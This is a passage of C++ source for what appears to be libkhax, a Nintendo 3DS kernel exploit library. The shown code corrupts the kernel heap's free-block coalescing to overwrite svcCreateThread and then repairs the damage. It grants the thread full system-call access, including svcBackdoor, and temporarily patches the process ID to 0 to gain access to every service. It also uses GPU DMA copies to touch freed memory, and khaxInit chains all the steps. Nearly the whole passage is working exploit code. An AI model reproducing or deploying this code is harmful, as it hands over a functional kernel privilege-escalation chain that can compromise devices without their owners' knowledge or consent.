675 | return STEP6_SUCCESS_RESULT;\r |
676 | }\r |
677 | \r |
678 | //------------------------------------------------------------------------------------------------\r |
679 | // Undo the code patch that Step5_CorruptCreateThread did.\r |
680 | Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()\r |
681 | {\r |
682 | // Unpatch svcCreateThread. NOTE: Misaligned pointer.\r |
683 | *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->\r |
684 | m_threadPatchOriginalCode;\r |
685 | --m_corrupted;\r |
686 | \r |
687 | return 0;\r |
688 | }\r |
689 | \r |
690 | //------------------------------------------------------------------------------------------------\r |
691 | // Fix the heap corruption caused as a side effect of step 5.\r |
692 | Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()\r |
693 | {\r |
694 | // The kernel's heap coalesce code seems to be like the following for the case we triggered,\r |
695 | // where we're freeing a block before ("left") an adjacent block ("right"):\r |
696 | //\r |
697 | // (1) left->m_count += right->m_count;\r |
698 | // (2) left->m_next = right->m_next;\r |
699 | // (3) right->m_next->m_prev = left;\r |
700 | //\r |
701 | // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point\r |
702 | // to where we want to patch, such that the write to m_prev is the desired code overwrite.\r |
703 | // (2) is copying the value we put into right->m_next to accomplish (3).\r |
704 | //\r |
705 | // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to\r |
706 | // point to the correct next free block, and do the write to right->m_next->m_prev that didn't\r |
707 | // happen because it instead was writing to kernel code.\r |
708 | \r |
709 | // "left" is the second overwrite page.\r |
710 | auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r |
711 | &m_overwriteMemory->m_pages[1].m_freeBlock));\r |
712 | // "right->m_next" is the fifth overwrite page.\r |
713 | auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r |
714 | &m_overwriteMemory->m_pages[4].m_freeBlock));\r |
715 | \r |
716 | // Do the two fixups.\r |
717 | left->m_next = rightNext;\r |
718 | --m_corrupted;\r |
719 | \r |
720 | rightNext->m_prev = left;\r |
721 | --m_corrupted;\r |
722 | \r |
723 | return 0;\r |
724 | }\r |
725 | \r |
726 | //------------------------------------------------------------------------------------------------\r |
727 | // Grant our process access to all system calls, including svcBackdoor.\r |
728 | Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()\r |
729 | {\r |
730 | // Everything, except nonexistent services 00, 7E or 7F.\r |
731 | static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";\r |
732 | \r |
733 | // Get the KThread pointer. Its type doesn't vary, so far.\r |
734 | KThread *kthread = *m_versionData->m_currentKThreadPtr;\r |
735 | \r |
736 | // Debug dumping.\r |
737 | #ifdef KHAX_DEBUG_DUMP_DATA\r |
738 | // Get the KProcess pointer, whose type varies by kernel version.\r |
739 | void *kprocess = *m_versionData->m_currentKProcessPtr;\r |
740 | \r |
741 | void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));\r |
742 | std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));\r |
743 | std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));\r |
744 | std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));\r |
745 | #endif\r |
746 | \r |
747 | // Get a pointer to the SVC ACL within the SVC area for the thread.\r |
748 | SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);\r |
749 | KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;\r |
750 | \r |
751 | // Save the old one for diagnostic purposes.\r |
752 | std::memcpy(m_oldACL, threadACL, sizeof(threadACL));\r |
753 | \r |
754 | // Set the ACL for the current thread.\r |
755 | std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));\r |
756 | \r |
757 | return 0;\r |
758 | }\r |
759 | \r |
760 | //------------------------------------------------------------------------------------------------\r |
761 | // Flush instruction and data caches.\r |
762 | Result KHAX::MemChunkHax::Step6f_FlushCaches()\r |
763 | {\r |
764 | // Invalidates the entire instruction cache.\r |
765 | __asm__ volatile(\r |
766 | "mov r0, #0\n\t"\r |
767 | "mcr p15, 0, r0, c7, c5, 0\n\t");\r |
768 | \r |
769 | // Invalidates the entire data cache.\r |
770 | __asm__ volatile(\r |
771 | "mov r0, #0\n\t"\r |
772 | "mcr p15, 0, r0, c7, c10, 0\n\t");\r |
773 | \r |
774 | return 0;\r |
775 | }\r |
776 | \r |
777 | //------------------------------------------------------------------------------------------------\r |
778 | // Grant access to all services.\r |
779 | Result KHAX::MemChunkHax::Step7_GrantServiceAccess()\r |
780 | {\r |
781 | // Backup the original PID.\r |
782 | Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);\r |
783 | if (result != 0)\r |
784 | {\r |
785 | KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);\r |
786 | return result;\r |
787 | }\r |
788 | \r |
789 | KHAX_printf("Step7:current pid=%lu\n", m_originalPID);\r |
790 | \r |
791 | // Patch the PID to 0, granting access to all services.\r |
792 | svcBackdoor(Step7a_PatchPID);\r |
793 | \r |
794 | // Check whether PID patching succeeded.\r |
795 | u32 newPID;\r |
796 | result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r |
797 | if (result != 0)\r |
798 | {\r |
799 | // Attempt patching back anyway, for stability reasons.\r |
800 | svcBackdoor(Step7b_UnpatchPID);\r |
801 | KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);\r |
802 | return result;\r |
803 | }\r |
804 | \r |
805 | if (newPID != 0)\r |
806 | {\r |
807 | KHAX_printf("Step7:nonzero:%lu\n", newPID);\r |
808 | return MakeError(27, 11, KHAX_MODULE, 1023);\r |
809 | }\r |
810 | \r |
811 | // Reinit ctrulib's srv connection to gain access to all services.\r |
812 | srvExit();\r |
813 | srvInit();\r |
814 | \r |
815 | // Restore the original PID now that srv has been tricked into thinking that we're PID 0.\r |
816 | svcBackdoor(Step7b_UnpatchPID);\r |
817 | \r |
818 | // Check whether PID restoring succeeded.\r |
819 | result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r |
820 | if (result != 0)\r |
821 | {\r |
822 | KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);\r |
823 | return result;\r |
824 | }\r |
825 | \r |
826 | if (newPID != m_originalPID)\r |
827 | {\r |
828 | KHAX_printf("Step7:not same:%lu\n", newPID);\r |
829 | return MakeError(27, 11, KHAX_MODULE, 1023);\r |
830 | }\r |
831 | \r |
832 | return 0;\r |
833 | }\r |
834 | \r |
835 | //------------------------------------------------------------------------------------------------\r |
836 | // Patch the PID to 0.\r |
837 | Result KHAX::MemChunkHax::Step7a_PatchPID()\r |
838 | {\r |
839 | // Disable interrupts ASAP.\r |
840 | // FIXME: Need a better solution for this.\r |
841 | __asm__ volatile("cpsid aif");\r |
842 | \r |
843 | // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers\r |
844 | // to translate the raw KProcess pointer into pointers into key fields, and we access the\r |
845 | // m_processID field from it.\r |
846 | *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r |
847 | .m_processID) = 0;\r |
848 | return 0;\r |
849 | }\r |
850 | \r |
851 | //------------------------------------------------------------------------------------------------\r |
852 | // Restore the original PID.\r |
853 | Result KHAX::MemChunkHax::Step7b_UnpatchPID()\r |
854 | {\r |
855 | // Disable interrupts ASAP.\r |
856 | // FIXME: Need a better solution for this.\r |
857 | __asm__ volatile("cpsid aif");\r |
858 | \r |
859 | // Patch the PID back to the original value.\r |
860 | *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r |
861 | .m_processID) = s_instance->m_originalPID;\r |
862 | return 0;\r |
863 | }\r |
864 | \r |
865 | //------------------------------------------------------------------------------------------------\r |
866 | // Helper for dumping memory to SD card.\r |
867 | template <std::size_t S>\r |
868 | bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const\r |
869 | {\r |
870 | char formatted[32];\r |
871 | snprintf(formatted, KHAX_lengthof(formatted), filename,\r |
872 | static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?\r |
873 | "New" : "Old");\r |
874 | \r |
875 | bool result = true;\r |
876 | \r |
877 | FILE *file = std::fopen(formatted, "wb");\r |
878 | if (file)\r |
879 | {\r |
880 | result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);\r |
881 | std::fclose(file);\r |
882 | }\r |
883 | else\r |
884 | {\r |
885 | result = false;\r |
886 | }\r |
887 | \r |
888 | return result;\r |
889 | }\r |
890 | \r |
891 | //------------------------------------------------------------------------------------------------\r |
892 | // Free memory and such.\r |
893 | KHAX::MemChunkHax::~MemChunkHax()\r |
894 | {\r |
895 | // Dump memory to SD card if that is enabled.\r |
896 | #ifdef KHAX_DEBUG_DUMP_DATA\r |
897 | if (m_nextStep > 6)\r |
898 | {\r |
899 | DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");\r |
900 | DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");\r |
901 | DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");\r |
902 | }\r |
903 | #endif\r |
904 | \r |
905 | // If we're corrupted, we're dead.\r |
906 | if (m_corrupted > 0)\r |
907 | {\r |
908 | KHAX_printf("~:error while corrupt;freezing\n");\r |
909 | for (;;)\r |
910 | {\r |
911 | svcSleepThread(s64(60) * 1000000000);\r |
912 | }\r |
913 | }\r |
914 | \r |
915 | // This function has to be careful not to crash trying to shut down after an aborted attempt.\r |
916 | if (m_overwriteMemory)\r |
917 | {\r |
918 | u32 dummy;\r |
919 | \r |
920 | // Each page has a flag indicating that it is still allocated.\r |
921 | for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)\r |
922 | {\r |
923 | // Don't free a page unless it remains allocated.\r |
924 | if (m_overwriteAllocated & (1u << x))\r |
925 | {\r |
926 | Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,\r |
927 | sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));\r |
928 | KHAX_printf("free %u: %08lx\n", x, res);\r |
929 | }\r |
930 | }\r |
931 | }\r |
932 | \r |
933 | // Free the extra linear memory.\r |
934 | if (m_extraLinear)\r |
935 | {\r |
936 | linearFree(m_extraLinear);\r |
937 | }\r |
938 | \r |
939 | // s_instance better be us\r |
940 | if (s_instance != this)\r |
941 | {\r |
942 | KHAX_printf("~:s_instance is wrong\n");\r |
943 | }\r |
944 | else\r |
945 | {\r |
946 | s_instance = nullptr;\r |
947 | }\r |
948 | }\r |
949 | \r |
950 | \r |
951 | //------------------------------------------------------------------------------------------------\r |
952 | //\r |
953 | // Miscellaneous\r |
954 | //\r |
955 | \r |
956 | //------------------------------------------------------------------------------------------------\r |
957 | // Make an error code\r |
958 | inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)\r |
959 | {\r |
960 | return (level << 27) + (summary << 21) + (module << 10) + error;\r |
961 | }\r |
962 | \r |
963 | //------------------------------------------------------------------------------------------------\r |
964 | // Check whether this system is a New 3DS.\r |
965 | Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)\r |
966 | {\r |
967 | // If the kernel version isn't already known by the caller, find out.\r |
968 | u32 kernelVersion = kernelVersionAlreadyKnown;\r |
969 | if (kernelVersion == 0)\r |
970 | {\r |
971 | kernelVersion = osGetKernelVersion();\r |
972 | }\r |
973 | \r |
974 | // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.\r |
975 | if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))\r |
976 | {\r |
977 | // Check whether the system is a New 3DS. If this fails, abort, because being wrong would\r |
978 | // crash the system.\r |
979 | u8 isNew3DS = 0;\r |
980 | if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))\r |
981 | {\r |
982 | *answer = false;\r |
983 | return error;\r |
984 | }\r |
985 | \r |
986 | // Use the result of APT_CheckNew3DS.\r |
987 | *answer = isNew3DS != 0;\r |
988 | return 0;\r |
989 | }\r |
990 | \r |
991 | // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.\r |
992 | *answer = false;\r |
993 | return 0;\r |
994 | }\r |
995 | \r |
996 | //------------------------------------------------------------------------------------------------\r |
997 | // gspwn, meant for reading from or writing to freed buffers.\r |
998 | Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)\r |
999 | {\r |
1000 | // Attempt a flush of the source, but ignore the result, since we may have just been asked to\r |
1001 | // read unmapped memory or something similar.\r |
1002 | GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);\r |
1003 | \r |
1004 | // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore\r |
1005 | // errors, since it may be the destination that is an unmapped address.\r |
1006 | GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);\r |
1007 | \r |
1008 | // Copy that floppy.\r |
1009 | if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,\r |
1010 | static_cast<u32 *>(dest), 0, size, 8))\r |
1011 | {\r |
1012 | KHAX_printf("gspwn:copy fail:%08lx\n", result);\r |
1013 | return result;\r |
1014 | }\r |
1015 | \r |
1016 | // Wait for the operation to finish.\r |
1017 | if (wait)\r |
1018 | {\r |
1019 | gspWaitForPPF();\r |
1020 | }\r |
1021 | \r |
1022 | return 0;\r |
1023 | }\r |
1024 | \r |
1025 | //------------------------------------------------------------------------------------------------\r |
1026 | // Given a pointer to a structure that is a member of another structure,\r |
1027 | // return a pointer to the outer structure. Inspired by Windows macro.\r |
1028 | template <typename Outer, typename Inner>\r |
1029 | Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)\r |
1030 | {\r |
1031 | unsigned char *p = reinterpret_cast<unsigned char *>(member);\r |
1032 | p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));\r |
1033 | return reinterpret_cast<Outer *>(p);\r |
1034 | }\r |
1035 | \r |
1036 | //------------------------------------------------------------------------------------------------\r |
1037 | // Main initialization function interface.\r |
1038 | extern "C" Result khaxInit()\r |
1039 | {\r |
1040 | using namespace KHAX;\r |
1041 | \r |
1042 | #ifdef KHAX_DEBUG\r |
1043 | bool isNew3DS;\r |
1044 | IsNew3DS(&isNew3DS, 0);\r |
1045 | KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),\r |
1046 | isNew3DS);\r |
1047 | #endif\r |
1048 | \r |
1049 | // Look up the current system's version in our table.\r |
1050 | const VersionData *versionData = VersionData::GetForCurrentSystem();\r |
1051 | if (!versionData)\r |
1052 | {\r |
1053 | KHAX_printf("khaxInit: Unknown kernel version\n");\r |
1054 | return MakeError(27, 6, KHAX_MODULE, 39);\r |
1055 | }\r |
1056 | \r |
1057 | KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,\r |
1058 | versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);\r |
1059 | \r |
1060 | // Create the hack object.\r |
1061 | MemChunkHax hax{ versionData };\r |
1062 | \r |
1063 | // Run through the steps.\r |
1064 | if (Result result = hax.Step1_Initialize())\r |
1065 | {\r |
1066 | KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);\r |
1067 | return result;\r |
1068 | }\r |
1069 | if (Result result = hax.Step2_AllocateMemory())\r |
1070 | {\r |
1071 | KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);\r |
1072 | return result;\r |
1073 | }\r |
1074 | if (Result result = hax.Step3_SurroundFree())\r |
1075 | {\r |
1076 | KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);\r |
1077 | return result;\r |
1078 | }\r |
1079 | if (Result result = hax.Step4_VerifyExpectedLayout())\r |
1080 | {\r |
1081 | KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);\r |
1082 | return result;\r |
1083 | }\r |
1084 | if (Result result = hax.Step5_CorruptCreateThread())\r |
1085 | {\r |
1086 | KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);\r |
1087 | return result;\r |
1088 | }\r |
1089 | if (Result result = hax.Step6_ExecuteSVCCode())\r |
1090 | {\r |
1091 | KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);\r |
1092 | return result;\r |
1093 | }\r |
1094 | if (Result result = hax.Step7_GrantServiceAccess())\r |
1095 | {\r |
1096 | KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);\r |
1097 | return result;\r |
1098 | }\r |
1099 | \r |
1100 | KHAX_printf("khaxInit: done\n");\r |
1101 | return 0;\r |
1102 | }\r |
1103 | \r |
1104 | //------------------------------------------------------------------------------------------------\r |
1105 | // Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything\r |
1106 | // and frees all memory on the way out.\r |
1107 | extern "C" Result khaxExit()\r |
1108 | {\r |
1109 | return 0;\r |
1110 | }\r |